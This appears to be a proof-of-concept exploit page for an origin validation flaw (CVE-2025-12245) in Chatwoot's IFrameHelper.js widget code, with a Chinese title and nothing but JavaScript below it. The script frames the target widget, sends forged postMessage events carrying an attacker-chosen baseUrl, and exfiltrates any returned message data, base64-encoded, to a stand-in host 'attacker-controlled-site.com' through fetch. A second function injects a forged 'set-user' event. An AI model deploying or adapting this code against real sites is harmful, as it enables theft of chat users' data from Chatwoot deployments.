Chatwoot IFrameHelper.js Origin验证错误漏洞 (CVE-2025-12245)

// CVE-2025-12245 PoC - Origin Validation Error in Chatwoot Widget // This PoC demonstrates how an attacker can exploit the origin validation error // in Chatwoot's IFrameHelper.js initPostMessageCommunication function const ATTACKER_DOMAIN = 'https://attacker-controlled-site.com'; const TARGET_CHATWOOT_URL = 'https://vulnerable-chatwoot-instance.com'; // Malicious payload to exploit origin validation error function exploitOriginValidation() { const iframe = document.createElement('iframe'); iframe.src = TARGET_CHATWOOT_URL + '/widget.js'; iframe.id = 'chatwoot-iframe'; document.body.appendChild(iframe); // Wait for iframe to load iframe.onload = function() { // Craft malicious postMessage with manipulated baseUrl const maliciousMessage = { event: 'loaded', payload: { // Manipulated baseUrl to bypass origin check baseUrl: ATTACKER_DOMAIN, websiteToken: 'YOUR_WEBSITE_TOKEN', locale: 'en', position: 'right', hideMessageBubble: false, setUserEnabled: true } }; // Send malicious message to iframe iframe.contentWindow.postMessage(maliciousMessage, '*'); // Listen for response (potential data exfiltration) window.addEventListener('message', function(event) { // Check if response contains sensitive data if (event.data && event.data.event) { console.log('Received response:', event.data); // Exfiltrate data to attacker server fetch(ATTACKER_DOMAIN + '/log?data=' + btoa(JSON.stringify(event.data))); } }); }; } // Execute exploit document.addEventListener('DOMContentLoaded', exploitOriginValidation); // Alternative: Direct exploitation without iframe function directExploit() { // Inject malicious baseUrl directly const exploitPayload = { event: 'set-user', payload: { identifier: '[email protected]', name: 'Attacker', email: '[email protected]', baseUrl: ATTACKER_DOMAIN // Manipulated origin } }; window.parent.postMessage(exploitPayload, '*'); // Receive and log any returned sensitive data window.addEventListener('message', function(e) { console.log('Data leak:', e.data); }); }